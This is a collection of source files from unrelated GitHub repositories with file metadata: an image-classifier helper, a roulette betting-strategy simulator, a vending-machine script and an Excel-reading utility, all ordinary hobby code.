fig, ax = plt.subplots()\n # PyTorch tensors assume the color channel is the first dimension\n # but matplotlib assumes is the third dimension\n # image = image.numpy().transpose((1, 2, 0))\n image = image.transpose((1, 2, 0))\n \n # Undo preprocessing\n mean = np.array([0.603, 0.603, 0.603])\n std = np.array([0.227, 0.227, 0.227])\n image = std * image + mean\n \n # Image needs to be clipped between 0 and 1 or it looks like noise when displayed\n image = np.clip(image, 0, 1)\n \n ax.imshow(image)\n \n # print(\"Done showing image...\")\n \n return ax\n\n\ndef display_results(image_path, classes_ps, class_names):\n \"\"\"\n Display image and prediction.\n \"\"\"\n \n # Convert pathlib.Path to string to be able to run code on Windows.\n image_path = str(image_path)\n # Read image\n image = mpimg.imread(image_path) \n \n # Define subplot 1.\n plt.subplot(2, 1, 1)\n \n # Plot image.\n plt.imshow(image)\n plt.axis('off')\n \n # Define subplot 2.\n plt.subplot(2, 1, 2)\n \n # Plot horizontal bar chart with probabilities and flower names.\n plt.barh(class_names, classes_ps)\n \n # Show plot.\n plt.show()\n \n # print(\"Done displaying results...\")\n \n return\n\n\ndef predict_class(image_path, topk=5):\n \"\"\"\n Main function to predict class.\n \"\"\"\n \n # Rebuild model.\n rebuild_model(\"checkpoint.pth\")\n # Process image.\n image_processed = process_image(image_path)\n # Predict class and probaility for image.\n classes_ps, class_names, ps, classes = predict(image_path, topk)\n # Display result\n # display_results(image_path, classes_ps, class_names)\n # Separator\n print(\"********************************************\")\n \n return classes_ps, class_names\n" }, { "alpha_fraction": 0.6174466013908386, "alphanum_fraction": 0.6456156373023987, "avg_line_length": 33.98360824584961, "blob_id": "bb7d4b63a4465db5498eab8d9d9c9246bde16821", "content_id": "987016cc77b878708d59bb346f41aa5e50492708", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2201, "license_type": "permissive", "max_line_length": 110, "num_lines": 61, "path": "/calculate_trainset_mean_std.py", "repo_name": "mme384/Image-Classifier-VGG16", "src_encoding": "UTF-8", "text": "\r\n#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\n FILE NAME: calculate_trainset_mean_std.py\r\n AUTHOR: Michalis Meyer\r\n DATE CREATED: 28.06.2020\r\n DATE LAST MODIFIED: 25.03.2020\r\n PYTHON VERSION: 3.6.3\r\n SCRIPT PURPOSE: The script calculates the image per channel mean and standard\r\n deviation in the training set, do not calculate the statistics on the whole\r\n dataset, as per here http://cs231n.github.io/neural-networks-2/#datapre\r\n \r\n Source: https://gist.github.com/jdhao/9a86d4b9e4f79c5330d54de991461fd6#file-calculate_trainset_mean_std-py\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom os import listdir\r\nfrom os.path import join, isdir\r\nfrom glob import glob\r\nimport cv2\r\nimport timeit\r\n\r\n# number of channels of the dataset image, 3 for color jpg, 1 for grayscale img\r\n# you need to change it to reflect your dataset\r\nCHANNEL_NUM = 3\r\n\r\n\r\ndef cal_dir_stat(root):\r\n cls_dirs = [d for d in listdir(root) if isdir(join(root, d))]\r\n pixel_num = 0 # store all pixel number in the dataset\r\n channel_sum = np.zeros(CHANNEL_NUM)\r\n channel_sum_squared = np.zeros(CHANNEL_NUM)\r\n\r\n for idx, d in enumerate(cls_dirs):\r\n print(\"#{} class\".format(idx))\r\n im_pths = glob(join(root, d, \"*.jpg\"))\r\n\r\n for path in im_pths:\r\n im = cv2.imread(path) # image in M*N*CHANNEL_NUM shape, channel in BGR order\r\n im = im/255.0\r\n pixel_num += (im.size/CHANNEL_NUM)\r\n channel_sum += np.sum(im, axis=(0, 1))\r\n channel_sum_squared += np.sum(np.square(im), axis=(0, 1))\r\n\r\n bgr_mean = channel_sum / pixel_num\r\n bgr_std = np.sqrt(channel_sum_squared / pixel_num - np.square(bgr_mean))\r\n \r\n # change the format from bgr to rgb\r\n rgb_mean = list(bgr_mean)[::-1]\r\n rgb_std = list(bgr_std)[::-1]\r\n \r\n return rgb_mean, rgb_std\r\n\r\n# The script assumes that under train_root, there are separate directories for each class\r\n# of training images.\r\ntrain_root = \"C:/Users/username/path_to_project/flowers/train\"\r\nstart = timeit.default_timer()\r\nmean, std = cal_dir_stat(train_root)\r\nend = timeit.default_timer()\r\nprint(\"elapsed time: {}\".format(end-start))\r\nprint(\"mean:{}\\nstd:{}\".format(mean, std))\r\n\r\n\r\n" }, { "alpha_fraction": 0.6483221650123596, "alphanum_fraction": 0.6805369257926941, "avg_line_length": 30.39130401611328, "blob_id": "8898cc85f9baffd5f4164496acf66acb461ee419", "content_id": "46ced662dcd6a504dc8b104215f637ff870bf2e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "permissive", "max_line_length": 87, "num_lines": 23, "path": "/batch_prediction.py", "repo_name": "mme384/Image-Classifier-VGG16", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\n FILE NAME: batch_prediction.py\r\n AUTHOR: Michalis Meyer\r\n DATE CREATED: 04.07.2019\r\n DATE LAST MODIFIED: 06.07.2019\r\n PYTHON VERSION: 3.6.3\r\n SCRIPT PURPOSE: Iterate through all images in given folder and predict class.\r\n\"\"\"\r\n\r\n# Imports python modules\r\nimport predict_rev3 as predict\r\nimport glob\r\nfrom pathlib import Path\r\n\r\n# Iterate through all images in folder and predict class.\r\nfor image_path in glob.glob(\"C:/Users/username/path_to_project/flowers/test/99/*.jpg\"):\r\n # Use pathlib.Path() to be able to run code on Windows.\r\n image_path = Path(image_path)\r\n # Predict class for given image.\r\n classes_ps, class_names = predict.predict_class(image_path, 5)\r\n\r\nprint(\"End of Script.\")\r\n" } ]
5
NomeChomsky/RoulettePie
https://github.com/NomeChomsky/RoulettePie
59fc815e3bfbf35678832cd5d540cc01704e032a
030039cef30eac4916b316df5150b2275df0ff71
bb779a798aaf3fb6ccbec60ccad960d79c5a4d40
refs/heads/master
2020-04-16T01:47:34.047554
2019-01-16T15:50:45
2019-01-16T15:50:45
165,185,700
3
1
null
null
null
null
null
[ { "alpha_fraction": 0.5205321907997131, "alphanum_fraction": 0.5458616018295288, "avg_line_length": 33.131004333496094, "blob_id": "f6b360f29d82386792c2aa38f79a22f480137107", "content_id": "be62fedea865bab9e8b1e6965f7acca0f05bf57d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7817, "license_type": "no_license", "max_line_length": 132, "num_lines": 229, "path": "/Old/RoulettePie.py", "repo_name": "NomeChomsky/RoulettePie", "src_encoding": "UTF-8", "text": "import random\n\nglobal test_c_wins\ntest_c_wins = []\n\ndef reset_strategy():\n global strategy\n strategy = {\n \"bank\" : 1000,\n \"stake\" : 2,\n \"target\" : 1.5, # defines when to stop playing should the bank * this amount is reached\n \"stoploss\" : 0.5, # defines the size of the bet (* bank) which should make the machine step away from the table.\n \"bet_increase_lose\" : 2, #defines how much to increase the stake should it lose - for ex bet_increase = 2 wil\n \"bet_increase_win\" : 2, # NEW - defines how much to increase the bet should it win - idea via reddit\n \"reset_stake\" : 17, # NEW - defines how often the strategy should reset itself back to it's original strategy. If\n\n}\n return\n strategy\n\ndef reset_bank():\n strategy['bank'] = 1000\n\ndef roulette():\n # plays the game of Roulette with a globally defined strategy \n # Returns bank\n\n from random import randint\n\n bank = strategy['bank']\n stake = strategy['stake']\n target = strategy['target']\n stoploss = strategy['stoploss']\n bet_increase_lose = strategy['bet_increase_lose']\n bet_increase_win = strategy['bet_increase_win']\n reset_stake = strategy['reset_stake']\n\n while bank >= stake and \\\n bank > 0 and \\\n bank <= target * bank and \\\n stake <= stoploss * bank:\n\n #place the stake on the table\n bank -= stake\n\n #produce a result\n result = randint(0,36)\n\n if result == 0 :\n\n #the house wins, so you must double your stake\n stake *= bet_increase_lose\n strategy['bank'] = round(bank,0)\n\n elif result%2 == 0:\n\n #it's an EVEN number, so you won!\n\n # add my winnings and return the stake\n bank += (stake * 2)\n\n # NEW! Increase the bet even if you won! This means we must randomly return stake some other way\n stake *= bet_increase_win\n strategy['bank'] = round(bank,0)\n\n # if the result is between the two numbers in the reset_strategy range, ie 0 and 9, then reset the stake.\n # elif result == enumerate(strategy['reset_stake'],1):\n elif 0 <= result <= reset_stake :\n stake = strategy['stake']\n # print(\"The result was {} resetting stake back to {}\" .format(result,strategy['stake']))\n \n\n else:\n #it must be an odd number, you LOST, therefore double your stake\n stake *= bet_increase_lose\n strategy['bank'] = round(bank,0)\n\ndef roulette_player():\n\n \"\"\"Roulette player manages the roulette function. \n If the strategy isn't producing money, it generates a random strategy. \n If it works after 10 iterations, it is tested over 100, then finally 1000. \n .\"\"\"\n \n def randomise_strategy():\n strategy['stake'] = round(random.uniform(2,10),2)\n strategy['target'] = round(random.uniform(1.1,10),2)\n strategy['stoploss'] = round(random.uniform(0.2, 0.8),2)\n strategy['bet_increase_lose'] = round(random.uniform(2, 100),2)\n strategy['bet_increase_win'] = round(random.uniform(2,100),2)\n strategy['reset_stake'] = round(random.uniform(0,36),0)\n reset_bank()\n\n def test_further_a():\n iterations = 0\n test_a = []\n # print(\"Testing to 100\")\n reset_bank()\n\n while iterations <= 100 and strategy['bank'] >= 0:\n \n iterations += 1\n\n # Produce a result using the current strategy\n roulette()\n\n # add the result to test_b\n test_a.append(strategy['bank'])\n\n if len(test_a) == 100 and test_a[99] >= test_a[0]:\n # print(\"Strategy worked for 100 iterations.{}\" .format(strategy))\n # print(\"The results were {}\" .format(test_a))\n # print(\"Worked for 100 iterations. Test_a failed {} times before this\" .format(fail_count))\n test_further_b()\n\n\n elif len(test_a) == 100 and test_a[99] <= test_a[0]:\n break\n \n def test_further_b():\n iterations = 0\n test_b = []\n # print (\"Testing to 1000\")\n reset_bank()\n\n\n while iterations <= 1000:\n \n iterations += 1\n\n # Produce a result using the current strategy\n roulette()\n\n # add the result to test_b\n test_b.append(strategy['bank'])\n\n if len(test_b) == 1000 and test_b[999] >= test_b[0]:\n # print(\"IT WORKED for 1000 iterations! The bank started with {} and ended with {}\" .format(test_b[0],test_b[999]))\n # print(\"The strategy was {}\" .format(strategy))\n # print(\"Worked for 1000 iterations - test_B failed {} times before this\" .format(fail_count))\n test_further_c()\n\n elif len(test_b) == 1000 and test_b[999] <= test_b[0]:\n # fail_count += 1\n break\n \n def test_further_c():\n iterations = 0\n test_c=[]\n #print(\"Testing to 5,000\")\n reset_bank()\n\n\n while iterations <= 5000:\n \n iterations += 1\n\n # Produce a result using the current strategy\n roulette()\n\n # add the result to test_b\n test_c.append(strategy['bank'])\n\n # if len(test_b)%10 == 10: \n if len(test_c) == 5000 and test_c[4999] >= test_c[0]:\n print(\"FIVE THOUSAND ITERATIONS! The bank started with {} and ended with {}\" .format(test_c[0],test_c[4999]))\n print(strategy)\n test_c_wins.append(strategy.copy())\n elif len(test_c) == 5000 and test_c[4999] <= test_c[0]:\n break\n \n def final_test():\n iterator = 0\n final_test = []\n final_test_results = []\n\n # print(\"The winning strategies were{}\".format(test_c_wins))\n for each_strategy in test_c_wins:\n \n strategy.update(test_c_wins[iterator])\n print(\"The new strategy is {}\" .format(strategy))\n reset_bank()\n\n while len(final_test_results) <= 10000: #strategy['bank'] <= strategy['bank'] * strategy['target']:\n roulette()\n # print(strategy['bank'])\n final_test_results.append(strategy['bank'])\n\n else:\n print(\"The strategy starting with {} and ended with {}\" .format(final_test_results[0],final_test_results[-1]))\n print(\"At one time, there was {} in the bank\" .format(max(final_test_results)))\n final_test_results = [] \n iterator += 1\n\n import random\n iterations = 0\n first_test = []\n\n # Code looks for 10 strategies in test_c_wins before it stops the while loop\n while len(test_c_wins) <= 10:\n # produce a result using roulette() function # add the result to first_test\n iterations += 1\n roulette() \n first_test.append(strategy['bank'])\n\n # compares results to see if it was winning money, or losing\n\n if len(first_test) == 10 and first_test[9] <= first_test[0]:\n # print(\"Strategy fail. Randomising\")\n first_test = []\n randomise_strategy()\n\n\n if len(first_test) == 10 and first_test[9] >= first_test[0]:\n # print (\"The bank started with {} and ended with {}\" .format(first_test[0],first_test[9]))\n # print(\" Result. Testing strategy further....\")\n # print(strategy)\n reset_bank()\n first_test=[]\n test_further_a()\n\n final_test()\n\n\nreset_strategy()\nreset_bank()\nroulette_player()\nprint(test_c_wins)\nprint(\"All done!\")\n\n" }, { "alpha_fraction": 0.5737179517745972, "alphanum_fraction": 0.6030497550964355, "avg_line_length": 36.03237533569336, "blob_id": "0999d490aff69bcf46c7b92106db1b3fadc1832a", "content_id": "d80d72c9b1db5765c458f1006ec0c8561405eca7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10296, "license_type": "no_license", "max_line_length": 176, "num_lines": 278, "path": "/RoulettePie.py", "repo_name": "NomeChomsky/RoulettePie", "src_encoding": "UTF-8", "text": "import random\nfrom random import randint\nimport keyboard\n\ntest_c_wins = []\ntest_d_wins = []\n\ndef reset_strategy():\n strategy = {\n \"bank\" : 1000,\n \"stake\" : 2,\n \"target\" : 1.5, # defines when to stop playing should the bank * this amount is reached\n \"stoploss\" : 0.5, # defines the size of the bet (* bank) which should make the machine step away from the table.\n \"bet_increase_lose\" : 2, #defines how much to increase the stake should it lose - for ex bet_increase = 2 wil\n \"bet_increase_win\" : 2, # NEW - defines how much to increase the bet should it win - idea via reddit\n \"reset_stake\" : 17, # NEW - defines how often the strategy should reset itself back to it's original strategy. If \n }\n return strategy\n\ndef roulette(strategy):\n \n \"\"\"\n ARGUMENTS : Strategy\n RETURNS: Bank\n Takes Dict as argument, which must have bank, stake, target, stoploss, \n bet_increase_lose, bet_increase_win, reset_stake all defined as below. \n Function then plays Roulette with the strategy passed through.\n \"\"\"\n\n bank = strategy['bank']\n stake = strategy['stake']\n target = strategy['target']\n stoploss = strategy['stoploss']\n bet_increase_lose = strategy['bet_increase_lose']\n bet_increase_win = strategy['bet_increase_win']\n reset_stake = strategy['reset_stake']\n\n # plays the game until one of the conditions below are met.\n while bank >= stake and \\\n bank > 0 and \\\n bank <= target * bank and \\\n stake <= stoploss * bank:\n\n # Place the stake on the table\n bank -= stake\n\n # Produce a result\n result = randint(0,36)\n\n # Potential boolean conditions based on result\n win = result%2 == 0 # If the result is an even number, you win\n lose = result%2 != 0 or result == 0 # If it's an odd number, or 0, you lost.\n reset_strategy_trigger = 0 <= result <= reset_stake # if the result is between 0 and 'reset_stake', ie 0 and 9, then reset_strategy has been triggered.\n\n if lose:\n\n # you must increase your bet for next round\n stake *= bet_increase_lose\n strategy['bank'] = round(bank,0)\n\n elif win:\n\n # add my winnings and return the stake - returns double as we always bet on even.\n bank += (stake * 2)\n\n # NEW! Increase the bet even if you won! This means we must randomly return stake some other way\n stake *= bet_increase_win\n strategy['bank'] = round(bank,0)\n\n elif reset_strategy_trigger:\n # The stake is set back to what was originally passed in via roulette(strategy)\n stake = strategy['stake']\n \n # print('The result was {} resetting stake back to {}'.format(result,strategy['stake']))\n\n return round(bank,2)\n\ndef roulette_player():\n\n \"\"\"\n Roulette player manages the roulette function. \n If the strategy isn't producing money, it generates a random strategy. \n If it works after 10 iterations, it is tested via test_further_a, then test_further_b, then test_further_c. \n \"\"\"\n \n iterations = 0\n strategy = reset_strategy()\n first_test = [] # where we'll keep a list of results from our first test of the strategy\n\n # Code looks for 10 strategies in test_c_wins before it stops the while loop\n while len(test_c_wins) <= 10:\n \n iterations += 1\n \n # Add the result of roulette() to first_test list \n first_test.append(roulette(strategy))\n\n # Boolean conditions based on results it's getting\n winning = len(first_test) == 10 and first_test[9] <= first_test[0]\n losing = len(first_test) == 10 and first_test[9] >= first_test[0]\n\n if losing:\n first_test = []\n strategy = randomise_strategy()\n # DEBUG print(f'The new strategy is {strategy}')\n # DEBUG print('Strategy is losing. Randomising')\n\n if winning:\n # reset_bank()\n first_test=[]\n test_further_a(strategy)\n\n final_test()\n\ndef randomise_strategy():\n strategy = {\n 'stake' : round(random.uniform(2,10),2),\n 'target' : round(random.uniform(1.1,10),2),\n 'stoploss' : round(random.uniform(0.2, 0.8),2),\n 'bet_increase_lose' : round(random.uniform(2, 100),2),\n 'bet_increase_win' : round(random.uniform(2,100),2),\n 'reset_stake' : round(random.uniform(0,36),0),\n 'bank' : 1000,\n }\n return strategy\n\ndef test_further_a(strategy):\n iterations = 0\n test_a = [1000]\n strategy['bank'] = 1000 # reset the bank to 1000 inside the strategy which was passed through\n # DEBUG print(\"Testing in test_further_a\")\n\n while iterations <= 100 and strategy['bank'] >= 0:\n \n iterations += 1\n\n # Produce a result using the current strategy and add the result to test_b.\n test_a.append(roulette(strategy))\n\n # Boolean conditions based on results in test_a\n winning = len(test_a) == 100 and test_a[99] >= test_a[0]\n losing = len(test_a) == 100 and test_a[99] <= test_a[0]\n\n if winning:\n # DEBUG print(\"Strategy worked for 100 iterations.{}\" .format(strategy))\n # DEBUG print(\"The results were {}\" .format(test_a))\n # DEBUG print(\"Worked for 100 iterations. Test_a failed {} times before this\" .format(fail_count))\n test_further_b(strategy)\n\n\n elif losing:\n break \n\ndef test_further_b(strategy):\n iterations = 0\n test_b = [1000]\n strategy['bank'] = 1000 # reset the bank to 1000 inside the strategy which was pased through.\n # DEBUG print (\"Testing in test_further_b\")\n\n\n while iterations <= 1000:\n \n iterations += 1\n\n # Produce a result using the current strategy and add the result to test_b\n test_b.append(roulette(strategy))\n\n # boolen conditions based on results in test_b\n winning = len(test_b) == 1000 and test_b[999] >= test_b[0]\n losing = len(test_b) == 1000 and test_b[999] <= test_b[0]\n\n if winning:\n # print(\"IT WORKED for 1000 iterations! The bank started with {} and ended with {}\" .format(test_b[0],test_b[999]))\n # print(\"The strategy was {}\" .format(strategy))\n # print(\"Worked for 1000 iterations - test_B failed {} times before this\" .format(fail_count))\n test_further_c(strategy)\n\n elif losing:\n break\n\ndef test_further_c(strategy):\n iterations = 0\n test_c=[1000]\n strategy['bank'] = 1000 \n print(\"Testing with test_further_c\")\n\n\n while iterations <= 5000:\n \n iterations += 1\n\n # Add 1000 to test_c for starting amount then Produce a result using the current strategy and add the result to test_c\n # test_c.append(1000)\n test_c.append(roulette(strategy))\n\n # Boolean conditions based on results its getting\n winning = (len(test_c) == 5000) and (test_c[4999] >= test_c[0])\n losing = (len(test_c) == 5000) and (test_c[4999] <= test_c[0])\n \n if winning:\n print(f'FIVE THOUSAND ITERATIONS! The bank started with {test_c[0]} and ended with {test_c[-1]}')\n test_c_wins.append(strategy.copy())\n # test_further_d(strategy)\n elif losing:\n break\n\ndef test_further_d(strategy):\n iterations = 0\n test_d=[1000]\n strategy['bank'] = 1000 \n print(\"Testing with test_further_d\")\n\n\n while iterations <= 10000:\n \n iterations += 1\n\n # Produce a result using the current strategy and add the result to test_c\n test_d.append(roulette(strategy))\n\n # Boolean conditions based on results its getting\n winning = (len(test_d) == 10000) and (test_d[9999] >= test_d[0])\n losing = (len(test_d) == 10000) and (test_d[9999] <= test_d[0])\n \n if winning:\n print(f'TEN THOUSAND ITERATIONS! The bank started with {test_d[0]} and ended with {test_d[-1]}')\n test_d_wins.append(strategy.copy())\n elif losing:\n break\n\ndef final_test():\n final_test_results = [1000]\n winning_strategy_list = []\n # DEBUG FOR DUMMY WINLIST list_of_ten = list(range(0,10))\n winning_strategy_results = [1000]\n\n # DEBUG TO CREATE DUMMY WINNING_STRATEGY_LIST\n # for i in list_of_ten:\n # winning_strategy_list.append(randomise_strategy())\n\n for strategy in test_c_wins:\n\n while len(final_test_results) <= 10000000 or bank <= 400:\n final_test_results.append(roulette(strategy))\n\n else:\n print(f\"Here's the strategy{strategy}\")\n print(\"The strategy started with {} and ended with {}\" .format(final_test_results[0],final_test_results[-1]))\n print(\"At one time, there was {} in the bank\" .format(max(final_test_results)))\n if final_test_results[-1] >= final_test_results[0]:\n print('Crikey, that was working')\n winning_strategy_list.append(strategy) \n final_test_results = [1000] \n\n print(f'There are {len(winning_strategy_list)} strategies which seemed to be working. Testing indefinitely.')\n\n for win_strategies in winning_strategy_list:\n \n print(f'The strategy is {win_strategies}')\n print(f'The winning_strategy_results are {winning_strategy_results}')\n\n while winning_strategy_results[-1] >= 100:\n winning_strategy_results.append(roulette(win_strategies))\n\n if len(winning_strategy_results)%100000 == 0:\n print(f'{len(winning_strategy_results)} iterations passed. Bank is at {winning_strategy_results[-1]}')\n\n elif len(winning_strategy_results) >5000000 and len(set(winning_strategy_results)) <= 10:\n print('moving on - kept getting duplicate results')\n winning_strategy_results = [1000]\n continue\n\n else:\n print(f'The strategy was tested {len(winning_strategy_results)} times, it started with {winning_strategy_results[0]} and ended with {winning_strategy_results[-1]}')\n winning_strategy_results = [1000]\n\nroulette_player()\nprint(\"All done!\")\n\n" } ]
2
hamzzy/Vending_machine_Script
https://github.com/hamzzy/Vending_machine_Script
000829bc3199f11eff19ef7c475df63cd3608c56
b6a30cd2eae40012a03633bcc01610090607f957
c8a68b7e485a0a787846eb6d557e90955d1d7647
refs/heads/main
2023-01-24T09:19:10.840804
2020-12-06T07:46:35
2020-12-06T07:46:35
318,867,020
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5127421021461487, "alphanum_fraction": 0.5142711400985718, "avg_line_length": 23.8354434967041, "blob_id": "53c30a59736bc015c195ce228288e1ffb1492457", "content_id": "5ec2ce413fe01cac874735f4173a48669dd21b46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1962, "license_type": "no_license", "max_line_length": 74, "num_lines": 79, "path": "/Coin_validation.py", "repo_name": "hamzzy/Vending_machine_Script", "src_encoding": "UTF-8", "text": "from ReadData import Input\n\n\nclass Valuation:\n\n def __init__(self):\n \"\"\"\n class Valuation manage manipulation of coin in the vending machine\n \"\"\"\n self.amount = 0\n self.accept_input = self.accept_input\n\n def addCash(self) -> any:\n \"\"\"\n add more coin if no more coin\n :return: none\n \"\"\"\n money = float(self.accept_input('Please add more Coins :'))\n self.amount = self.amount + money\n\n def insert_money(self) -> any:\n \"\"\"\n func accept input needed to be\n :return:\n \"\"\"\n self.amount += float(self.accept_input('Please Insert Coins :'))\n\n def checkRefund(self) -> any:\n \"\"\"\n func : help to refund change after buy a desired item\n :return:\n \"\"\"\n if self.amount > 0: print(str(self.amount) + \" refunded.\")\n print('Thank you, have a nice day!\\n')\n\n\nclass VendingMachineValidator(Valuation):\n \"\"\"\n class VendingMachineValidator validate user input\n - check_stock\n - get_item\n - continue_to_buy\n \"\"\"\n def check_stock(self, wanted) -> bool:\n \"\"\"\n This func check if the ietm is in stock\n :param wanted:\n :return: boolean\n \"\"\"\n if wanted.get('stock') == 0:\n return True\n else:\n pass\n\n def get_item(self, wanted) -> dict:\n \"\"\"\n this get the specific item to be purchase\n :param wanted:\n :return: dictionary\n \"\"\"\n\n ret = None\n for item in self.items:\n if item.get('name') == wanted:\n ret = item\n break\n return ret\n\n def continue_to_buy(self, ans:str) -> bool:\n \"\"\"\n func : accept user input to buy more item and validate\n :param ans:\n :return:\n \"\"\"\n if (ans == 'y') :\n return True\n else:\n self.checkRefund()\n return False\n" }, { "alpha_fraction": 0.5079681277275085, "alphanum_fraction": 0.5079681277275085, "avg_line_length": 17.592592239379883, "blob_id": "40c074b814faa20118ccfd6fd9fb1cdca69bcd39", "content_id": "eaa8f6f9be91a829c04dcd9cbd237ea386039c3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 502, "license_type": "no_license", "max_line_length": 44, "num_lines": 27, "path": "/ReadData.py", "repo_name": "hamzzy/Vending_machine_Script", "src_encoding": "UTF-8", "text": "import json\n\n\nclass ReadData:\n def read_data(self, src: str):\n \"\"\"\n Read data from json source\n :return: list\n \"\"\"\n file = open(src)\n data = json.load(file)\n return data['goods']\n\n\nclass Input:\n \"\"\"\n class that control how data is input\n \"\"\"\n\n def accept_input(self, msg: any) -> any:\n \"\"\"\n\n :param msg: text to fill data input\n :return: input of anything\n \"\"\"\n data = input(msg)\n return data\n" }, { "alpha_fraction": 0.466834157705307, "alphanum_fraction": 0.466834157705307, "avg_line_length": 31.04838752746582, "blob_id": "08a69f063495aa98c3689e426bd53e93ec7a3bb4", "content_id": "26c3b233192f919f0a2b6edb2e2c81f20c7bae6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1990, "license_type": "no_license", "max_line_length": 90, "num_lines": 62, "path": "/vend_machine.py", "repo_name": "hamzzy/Vending_machine_Script", "src_encoding": "UTF-8", "text": "from functools import reduce\nfrom ReadData import ReadData, Input\nfrom Coin_validation import VendingMachineValidator\n\n\nclass VendingMachine(ReadData,Input,VendingMachineValidator):\n def __init__(self, data):\n \"\"\"\n A Vending machine View\n :param data:\n \"\"\"\n super().__init__()\n self.amount = self.amount\n self.items = [n for n in self.read_data(data)]\n self.accept_input = self.accept_input\n\n def showItems(self) -> any:\n \"\"\"\n Print data from the json file\n :return: a print of\n \"\"\"\n print('Welcome to the vending machine!\\n***************')\n print('\\nitems available \\n***************')\n for item in self.items:\n print(\"Item:\"+ item['name'] +\"-------------\"+ \"price: \" + str(item['price']) )\n print('***************\\n')\n\n def buyItem(self, selected: list) -> any:\n \"\"\"\n func\n :param selected:\n :return:\n \"\"\"\n item = self.get_item(selected)\n take_stock: bool = self.check_stock(item)\n\n if self.amount < item.get('price') and take_stock == True:\n print('***************\\n')\n\n print('You can\\'t buy this item. Insert more coins.')\n print(\"out of stock\")\n print('***************\\n')\n self.addCash()\n\n elif self.amount > item.get('price') and take_stock == True:\n print('***************\\n')\n print(\"out of stock\")\n print('***************\\n')\n\n elif item.get('price') > self.amount:\n print('***************\\n')\n\n print('You can\\'t buy this item. Insert more coins.')\n print('***************\\n')\n self.addCash()\n else:\n self.amount -= item.get('price')\n print('***************\\n')\n\n print('You got ' + item.get('name'))\n print('Cash remaining: ' + str(self.amount))\n print('***************\\n')\n\n\n\n" }, { "alpha_fraction": 0.6700507402420044, "alphanum_fraction": 0.6751269102096558, "avg_line_length": 20.77777862548828, "blob_id": "01c10bbf5aeb88ef4b63ba774f403beb5dbffbb7", "content_id": "30327a797dbf1d360045fa4b5304a537c0e92f5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 197, "license_type": "no_license", "max_line_length": 71, "num_lines": 9, "path": "/readme.md", "repo_name": "hamzzy/Vending_machine_Script", "src_encoding": "UTF-8", "text": "# Vending machine Test\n\n\n---------\n## This repository contain a python script simulating a vending machine\n### To run\n- git clone the repo\n- python3 run.py to run the script in terminal\n---------\n\n" }, { "alpha_fraction": 0.5377532243728638, "alphanum_fraction": 0.5377532243728638, "avg_line_length": 22.60869598388672, "blob_id": "1765cd496db21852ee789e53ad153deb5b7df58a", "content_id": "789853d2922ab11cc64f4c26f7395b675c6dbadc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 543, "license_type": "no_license", "max_line_length": 67, "num_lines": 23, "path": "/run.py", "repo_name": "hamzzy/Vending_machine_Script", "src_encoding": "UTF-8", "text": "from vend_machine import VendingMachine\n\n\ndef run():\n machine = VendingMachine('shop.json')\n machine.showItems()\n machine.insert_money()\n while True:\n selected = machine.accept_input('select item: ')\n try:\n\n machine.buyItem(selected)\n a = machine.accept_input('buy something else? (y/n): ')\n if machine.continue_to_buy(ans=a):\n continue\n else:\n break\n except:\n print(\"incorrect input\")\n\n\nif __name__ == '__main__':\n run()\n" } ]
5
sunyaxiong/odman
https://github.com/sunyaxiong/odman
0d31a307134cf6ff8a4bf5af11cf2cf2a7e226a0
5b2d3ded61320ccd912ae86a7f220ba170676069
c190873ee1ea707d91ae5f31ab689673cd837f30
refs/heads/master
2021-06-18T21:27:47.247042
2020-08-31T08:50:16
2020-08-31T08:50:16
188,798,171
0
0
null
2019-05-27T07:58:34
2020-08-31T08:50:30
2021-06-10T21:39:55
CSS
[ { "alpha_fraction": 0.5154553055763245, "alphanum_fraction": 0.5221386551856995, "avg_line_length": 28.924999237060547, "blob_id": "728da224567c00d0dd20003d8b41fe9b4e21dfd8", "content_id": "0ee0efbd938a8406663b391bd961c94581bfb8b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 81, "num_lines": 40, "path": "/lib/excel.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "import xlrd\nfrom xlrd import XL_CELL_NUMBER\n\n\nclass Excel(object):\n \"\"\"\n excel 工具库\n \"\"\"\n def __init__(self, file_name, callback=None, date_format=\"%Y-%m-%d\"):\n self.home = \"/tmp\"\n self.callback = callback\n self.date_format = date_format\n self.depth = 0\n self.wb = xlrd.open_workbook(file_name)\n\n def load_sheet_content(self, sheet_index=0):\n \"\"\"\n 加载文件内容\n :param file_content: 文件内容\n :param sheet_index: 索引\n :return:\n \"\"\"\n title, data = [], []\n # self.wb = xlrd.open_workbook(file_content)\n sheet = self.wb.sheet_by_index(sheet_index)\n\n # 获取首行title\n for i in range(sheet.ncols):\n title.append(sheet.cell(0, i).value)\n\n # 打包文件content: unit格式为{\"title1\":\"value1\", \"title2\": \"value2\"},最终打包成data列表\n for i in range(1, sheet.nrows):\n unit = {}\n for j in range(sheet.ncols):\n if sheet.cell(i, j).ctype == XL_CELL_NUMBER:\n unit[title[j]] = f'{sheet.cell(i, j).value}'\n else:\n unit[title[j]] = sheet.cell(i, j).value\n data.append(unit)\n return data\n" }, { "alpha_fraction": 0.6055900454521179, "alphanum_fraction": 0.6677018404006958, "avg_line_length": 20.46666717529297, "blob_id": "d1b0a573f9bc0953505782bae9a14b56e8500186", "content_id": "dfe0739e9302e3589f763222dbf6f318532a869f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 322, "license_type": "no_license", "max_line_length": 92, "num_lines": 15, "path": "/Dockerfile", 